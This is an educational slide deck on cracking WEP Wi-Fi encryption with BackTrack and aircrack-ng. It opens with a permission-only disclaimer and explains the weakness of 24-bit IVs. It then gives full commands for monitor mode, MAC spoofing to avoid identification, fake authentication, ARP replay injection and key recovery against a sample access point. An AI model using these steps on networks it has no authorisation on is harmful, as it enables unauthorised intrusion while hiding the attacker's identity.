WEP Cracking. with BackTrack 5R1. Jess Hires

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1 WEP Cracking with BackTrack 5R1 Jess Hires

2 Disclaimer This presentation is to demonstrate the weakness of the WEP encryption protocol, and why you shouldn't use it. Ever. Accessing unauthorized networks is illegal. Never attempt this exercise on a network other than your own, or one you explicitly have permission to attack. See Florida Statute Play nice! ;-)

3 About WEP WEP (Wired Equivalent Privacy) is an out-dated security standard, created as part of the original standard in WEP usually uses a 64-bit or 128-bit key, seen as a 10-digit or 26-digit HEX key. WEP uses Initialization Vectors (IVs) to prevent traffic keys from being repeated on a network.

4 Why WEP is Weak The IVs used in WEP are only 24-bits long, which is not enough to ensure that traffic keys will not be repeated on a busy network. For a 24-bit IV, there is a 50% probability the same IV will repeat after 5000 packets. Our attack is going to first listen in on legitimate traffic, then flood traffic until we have enough packets captured to crack the key. All of the tools required to crack WEP are included in BackTrack, though you can use any Linux distro and install the tools yourself. You'll need the aircrack-ng suite, and (optionally) macchanger.

5 Interfaces Only some wireless chipsets support packet injection, which is necessary for replay attacks. We can see what wireless interfaces are available, and what chipset they use, using airmon-ng. # airmon-ng Now, put the attack interface into monitor mode. My attack interface is wlan1, but yours may be different. # airmon-ng stop wlan1 # airmon-ng start wlan1 The result will have the name of a new interface with Monitor Mode enabled. It should look like this: (monitor mode enabled on mon0)

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7 MAC Addresses Your MAC address is the identifier for your network interface. Example MAC address: 00:11:24:1A:C3:52 The first three segments are the Vendor ID. A quick Google search will reveal that the vendor ID 00:11:24 belongs to "Apple Computer, Inc." meaning that this MAC address may belong to a Macbook or iphone. The last three segments are your personal identifier. Each MAC address is unique.

8 Hiding Your MAC Address Once you start attacking the wireless access point, it's possible that your MAC address could be logged or recorded. Since you could be identified by your MAC address, it's recommended to spoof another MAC address before you start. To do this, we must first take down the interface. # ifconfig mon0 down Then use macchanger to spoof your MAC address. # macchanger -A mon0 Now you can bring the interface back up. # ifconfig mon0 up

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10 Scan Networks Scan for networks in range with airodump-ng. This will show the SSID, MAC address, and signal strength in decibels. # airodump-ng mon0 When you see the WEP network you want to attack, focus your scan on that network, and dump it to a file: # airodump-ng -c 6 --bssid 00:1B:11:4B:7E:91 -w file mon0 -c is to designate the wireless channel -w is to designate what file to dump output to

11 Associate with the Access Point Fake authentication with the AP using aireplay-ng. If your attack interface doesn't support packet injection, this is where you will find out. # aireplay-ng b 00:1B:11:4B:7E:91 -e Hacksonville mon0-1 designates that this is a "fake association" attack, and 0 is how long to wait before re-associating, in seconds -b is to designate the BSSID (MAC Address) -e is to designate the ESSID (Broadcast Name) If it worked correctly, you will see this: Association successful :-)

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13 Generate IVs IVs will now be generated, and eventually used to crack the WEP key. This is a different kind of attack using aireplay-ng. # aireplay-ng -3 -b 00:1B:11:4B:7E:91 -e Hacksonville mon0-3 designates that this is an ARP Request Replay attack -b is to designate the BSSID (MAC Address) -e is to designate the ESSID (Broadcast Name) Once it finds a good ARP request (this could take a few minutes), it will replay the packet to the access point to generate IVs.

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15 Crack the Key Once we have enough IVs (around 10,000 in the "#Data" column of your airodump-ng screen), we can attempt to crack the key using the packet capture file and aircrack-ng. # aircrack-ng -b 00:1B:11:4B:7E:91 -e Hacksonville file-01.cap -b is to designate the BSSID (MAC Address) -e is to designate the ESSID (Broadcast Name) file-01.cap is the filename Once the key is cracked, party! ;-)

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18 Questions Jess Hires Slides will be available on Thank you!

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